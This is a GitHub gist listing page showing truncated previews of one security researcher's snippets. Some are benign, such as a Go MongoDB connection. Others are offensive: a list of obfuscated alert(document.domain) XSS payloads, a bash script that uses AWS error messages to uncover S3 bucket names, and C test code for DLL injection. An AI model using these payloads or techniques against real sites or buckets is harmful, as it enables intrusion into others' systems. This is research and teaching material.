Skip to content

Instantly share code, notes, and snippets.

View Ice3man543's full-sized avatar
🏳️
Debugging

Ice3man Ice3man543

🏳️
Debugging
View GitHub Profile
@Ice3man543
Ice3man543 / main.go
Created April 8, 2021 19:03
Golang MongoDB connection example
package main
import (
"context"
"time"
"go.mongodb.org/mongo-driver/mongo"
"go.mongodb.org/mongo-driver/mongo/options"
"go.mongodb.org/mongo-driver/mongo/readpref"
)
// Forked from https://gist.github.com/MoOx/93c2853fee760f42d97f
// Only change i did was make it return proper color code
var labels = [];
[].slice.call(document.querySelectorAll(".js-label-link"))
.forEach(function(element) {
labels.push({
name: element.textContent.trim(),
description: element.getAttribute("title"),
// using style.backgroundColor might returns "rgb(...)"
@Ice3man543
Ice3man543 / dada
Last active November 21, 2019 06:55
abc
@Ice3man543
Ice3man543 / alert.js
Created September 10, 2019 10:13 — forked from tomnomnom/alert.js
Ways to alert(document.domain)
// How many ways can you alert(document.domain)?
// Comment with more ways and I'll add them :)
// I already know about the JSFuck way, but it's too long to add (:
// Direct invocation
alert(document.domain);
(alert)(document.domain);
al\u0065rt(document.domain);
al\u{65}rt(document.domain);
window['alert'](document.domain);
@Ice3man543
Ice3man543 / waywords.go
Created July 17, 2019 06:07 — forked from eur0pa/waywords.go
generate wordlists utilizing the wayback machine
package main
import (
"bufio"
"fmt"
"net/url"
"os"
"strings"
)
@Ice3man543
Ice3man543 / bucket-disclose.sh
Created November 10, 2018 12:23 — forked from fransr/bucket-disclose.sh
Using error messages to decloak an S3 bucket. Uses soap, unicode, post, multipart, streaming and index listing as ways of figure it out. You do need a valid aws-key (never the secret) to properly get the error messages
#!/bin/bash
# Written by Frans Rosén (twitter.com/fransrosen)
_debug="$2" #turn on debug
_timeout="20"
#you need a valid key, since the errors happens after it validates that the key exist. we do not need the secret key, only access key
_aws_key="AKIA..."
H_ACCEPT="accept-language: en-US,en;q=0.9,sv;q=0.8,zh-TW;q=0.7,zh;q=0.6,fi;q=0.5,it;q=0.4,de;q=0.3"
H_AGENT="user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"
@Ice3man543
Ice3man543 / join.go
Last active July 27, 2018 14:23
Append some text to each line
package main
import (
"bufio"
"fmt"
"os"
)
var parameterList []string
@Ice3man543
Ice3man543 / ser.go
Last active August 19, 2018 00:48
Workspace format serialize/Deserialize
// Written by ice3man
package main
import (
"bytes"
"compress/gzip"
"encoding/base64"
"encoding/gob"
"fmt"
"io"
@Ice3man543
Ice3man543 / testloadlibrary.c
Created April 23, 2018 14:14
LoadLibrary Test
#include <windows.h>
#include <stdio.h>
int main(int argc, char *argv[])
{
printf("\n[*] TestDLL : Test LoadLibraryA Function");
LoadLibrary(argv[1]);
printf("\n[-] Done ");
getchar();
return 0;
@Ice3man543
Ice3man543 / dllmain.c
Created April 23, 2018 14:11
Test DLL for dll injection guide
#include <windows.h>
BOOL APIENTRY DllMain(HINSTANCE hInstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
MessageBoxA(NULL, "Hello From The Injected DLL", "Injected !", MB_OK | MB_ICONINFORMATION);
break;